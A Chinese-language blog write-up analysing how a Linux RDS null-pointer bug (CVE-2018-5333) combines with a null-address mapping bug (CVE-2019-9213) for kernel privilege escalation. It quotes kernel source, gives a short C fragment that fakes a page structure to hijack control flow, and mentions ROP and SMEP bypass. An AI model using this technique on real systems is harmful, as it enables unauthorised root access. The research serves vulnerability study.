linux

CVE-2019-9213 && CVE-2018-5333组合提权

0x00分析：

关于CVE-2019-9213前面一篇文章已经介绍的非常详细了，有了写地址0的机会，现在就需要一个null pointer dereference的洞，并且能够通过这个洞劫持程序流。引入今天的主角-- CVE-2018-5553，这是一个关于rds的洞，来看看是如何触发null pointer dereference的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm,
			 struct msghdr *msg, int *allocated_mr,
			 struct rds_iov_vector_arr *vct)
{
	struct cmsghdr *cmsg;
	int ret = 0, ind = 0;

	for_each_cmsghdr(cmsg, msg) {
		...
		switch (cmsg->cmsg_type) {
		...
		case RDS_CMSG_ATOMIC_CSWP:
		case RDS_CMSG_ATOMIC_FADD:
		case RDS_CMSG_MASKED_ATOMIC_CSWP:
		case RDS_CMSG_MASKED_ATOMIC_FADD:
			ret = rds_cmsg_atomic(rs, rm, cmsg);
			break;

rds_cmsg_send是通过系统调用sendmsg来触发，socket类型设置为pf_rds。接着看rds_cmsg_atomic分支。

这个地方需要先稍微了解一下sendmsg这个系统调用。 

1
sendmsg(int socket, const struct msghdr *message, int flags);
struct msghdr结构如下： 
1
2
3
4
5
6
7
8
9
struct msghdr {
	void		*msg_name;	/* ptr to socket address structure */
	int		msg_namelen;	/* size of socket address structure */
	struct iov_iter	msg_iter;	/* data */
	void		*msg_control;	/* ancillary data */
	__kernel_size_t	msg_controllen;	/* ancillary data buffer length */
	unsigned int	msg_flags;	/* flags on received message */
	struct kiocb	*msg_iocb;	/* ptr to iocb for async requests */
};
其中msg_control字段是可以用来针对特定协议来传递数据的，其长度为msg_controllen。这个msg_control也指向一个标准的结构struct cmsghdr 
1
2
3
4
5
struct cmsghdr {
	__kernel_size_t	cmsg_len;	/* data byte count, including hdr */
        int		cmsg_level;	/* originating protocol */
        int		cmsg_type;	/* protocol-specific type */
};
这个结构还有一个隐式的字段unsigned char cmsg_data[]用来保存传递的数据，供特定的协议使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm,
		    struct cmsghdr *cmsg)
{
	struct page *page = NULL;
	struct rds_atomic_args *args;
	int ret = 0;
	...
	args = CMSG_DATA(cmsg);
	...
	rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME);
	rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT);
	rm->atomic.op_active = 1;//111111111111111
	rm->atomic.op_recverr = rs->rs_recverr;
	rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);//2222222
	if (!rm->atomic.op_sg)
		goto err;

	/* verify 8 byte-aligned */
	if (args->local_addr & 0x7) {
		ret = -EFAULT;
		goto err;
	}

	ret = rds_pin_pages(args->local_addr, 1, &page, 1);
	if (ret != 1)
		goto err;
	ret = 0;

	sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));

回到rds的处理之中，rds_cmsg_atomic中cmsg便来自于上面用户传递的结构。其中args也是指向cmsg中的data部分。

上面的整个过程就是设置atomic类型请求的rds_message结构，有两个点在这里需要注意： 

1
2
3
rm->atomic.op_active = 1; //标志已经初始化，可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);
第二个点是设置scatterlist物理内存的散列表，主要是供DMA使用。关于这一点在分配rds_message这个结构的时候也可以注意到： 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
	struct rds_message *rm;

	if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
		return NULL;

	rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
	if (!rm)
		goto out;

	rm->m_used_sgs = 0;
	rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
	...
out:
	return rm;
}
这个extra_len就是scatterlists的大小： 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int rds_rm_size(struct msghdr *msg, int num_sgs,
		       struct rds_iov_vector_arr *vct)
{
	...
	switch (cmsg->cmsg_type) {
		case RDS_CMSG_ATOMIC_CSWP:
		case RDS_CMSG_ATOMIC_FADD:
		case RDS_CMSG_MASKED_ATOMIC_CSWP:
		case RDS_CMSG_MASKED_ATOMIC_FADD:
			cmsg_groups |= 1;
			size += sizeof(struct scatterlist);
			break;
	...
	size += num_sgs * sizeof(struct scatterlist);
而上面的rds_message_alloc_sgs这一步就是获取rds_message后面的scatterlist，显然这些scatterlists都是初始化状态，并未分配真正的page，回到原先的rds_cmsg_atomic： 
1
2
3
4
5
6
7
8
9
10
11
if (args->local_addr & 0x7) {
		ret = -EFAULT;
		goto err;
	}

	ret = rds_pin_pages(args->local_addr, 1, &page, 1);
	if (ret != 1)
		goto err;
	ret = 0;

	sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));
args指向是用户内存，首先判断args->local_addr地址对齐，然后使用rds_pin_pages获取用户page，再把scatterlist设置为这个page。上面有两个地方有错误处理： 
1
2
3
4
5
err:
	if (page)
		put_page(page);
	kfree(rm->atomic.op_notifier);
	return ret;
出错以后释放掉了rm->atomic.op_notifier，整个rds_sendmsg也宣告结束，之后会释放掉rds_message这个结构。 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void rds_message_purge(struct rds_message *rm)
{
	unsigned long i, flags;
	bool zcopy = false;
	...
	if (rm->rdma.op_active)
		rds_rdma_free_op(&rm->rdma);
	if (rm->rdma.op_rdma_mr)
		rds_mr_put(rm->rdma.op_rdma_mr);

	if (rm->atomic.op_active)
		rds_atomic_free_op(&rm->atomic);
	if (rm->atomic.op_rdma_mr)
		rds_mr_put(rm->atomic.op_rdma_mr);
}
如果进入先前两个错误处理任意其中一个，返回的时候，并没有指定 rm->atomic.op_active=0，所以这里会进入rds_atomic_free_op： 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
	struct page *page = sg_page(ao->op_sg);

	/* Mark page dirty if it was possibly modified, which
	 * is the case for a RDMA_READ which copies from remote
	 * to local memory */
	set_page_dirty(page);
	put_page(page);

	kfree(ao->op_notifier);
	ao->op_notifier = NULL;
	ao->op_active = 0;
}
很显然这里出问题了，发生错误之前并没有去设置对应scatterlist的page，再细看是怎么拿到page的： 
1
2
3
4
static inline struct page *sg_page(struct scatterlist *sg)
{
	return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}
这里讲一下scatterlist结构page_link的0bit 和 1bit位置上是标志sg_chain和sg_end的flag，所以这里是4对齐。显然初始化状态下的page_link等于0.所以后面在操作page结构的时候，就产生了null pointer dereference。所以这里修复也很简单，只需要在上面错误返回的时候，设置一下rm->atomic.op_active=0,就可以避免这个问题。

0X02利用

现在两个漏洞都有了，结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构，第一想法，看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看： 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
	struct page *page = sg_page(ao->op_sg);

	/* Mark page dirty if it was possibly modified, which
	 * is the case for a RDMA_READ which copies from remote
	 * to local memory */
	set_page_dirty(page);
	put_page(page);

	kfree(ao->op_notifier);
	ao->op_notifier = NULL;
	ao->op_active = 0;
}
看set_page_dirty处理过程： 
1
2
3
4
5
6
7
8
9
10
11
int set_page_dirty(struct page *page)
{
	struct address_space *mapping = page_mapping(page);

	page = compound_head(page);
	if (likely(mapping)) {
		int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
		...
		return (*spd)(page);
	}
}
运气似乎不错，如果这个mapping是从page上的字段，那么这一切就变的简单了。 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct address_space *page_mapping(struct page *page)
{
	struct address_space *mapping;

	page = compound_head(page);

	/* This happens if someone calls flush_dcache_page on slab page */
	if (unlikely(PageSlab(page)))
		return NULL;

	if (unlikely(PageSwapCache(page))) {
		swp_entry_t entry;

		entry.val = page_private(page);
		return swap_address_space(entry);
	}

	mapping = page->mapping;
	if ((unsigned long)mapping & PAGE_MAPPING_ANON)
		return NULL;

	return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}
第一个注意的点： 
1
2
3
4
5
6
7
8
9
page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
	unsigned long head = READ_ONCE(page->compound_head);

	if (unlikely(head & 1))
		return (struct page *) (head - 1);
	return page;
}
这里是可以通过page->compound_head改变page的指向，可能有用。 第二点是要避免进入下面逻辑： 
1
2
3
4
5
6
if (unlikely(PageSwapCache(page))) {
		swp_entry_t entry;

		entry.val = page_private(page);
		return swap_address_space(entry);
	}
这个比较好弄，这是通过比较page->flagsbit位来判断，所以这里只需要把page->flags置零就行。最后经过下面的对齐返回mapping： 
1
2
3
4
5
mapping = page->mapping;
	if ((unsigned long)mapping & PAGE_MAPPING_ANON)
		return NULL;

	return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
所以这里有上面三个注意点，再通过mapping拿到mapping->a_ops->set_page_dirty，这里有一个技巧，要充分利用0地址，避免再去重新申请内存。这里a_ops可以设置为0，mapping不能设置为0，这里有一个冲突，需要解决，当page设置成0不变的时候,a_ops也为0的时候： 
1
2
page->mapping  == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18
所以这里最好是通过compound_head(head),改变一下page，把paga指到其他用户空间上，例如栈上： 
1
2
3
4
5
6
7
8
char str[1000];
map_null_address();
unsigned long *data = (unsigned long *)0;
memset(str,0,1000);
*((unsigned long *)(str+0x18)) = str;
data[1] = str+1;
data[3] = 0xffffffffdeadbeaf;
trigger_null_pointer_ref();
从oops报错上可以看到最后是走到了预期的位置上。 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0 
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G      D           4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS:  00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000
再根据当前各寄存器的状态xchg切栈到用户内存上，实现提权的ROP，当然你也可以写CR4去绕SMEP这都是常规思路 ）

0X03思考

最开始我拉的是patch CVE-2018-5333之前最后一次commit，但是编译起来错误很多，尽管最后我手动patch了很多处，终于编译成功了。但是qemu还是运行不起来，果断放弃了，还是选择了patch CVE-2019-9213之前最后一次commit，然后手动删掉了关于CVE-2018-5333的patch，还有这里编译之前记得开RDS的配置。

相对来说这里是比较简单劫持流，这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能，下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞，最后还是觉得是比较有趣的一次经历！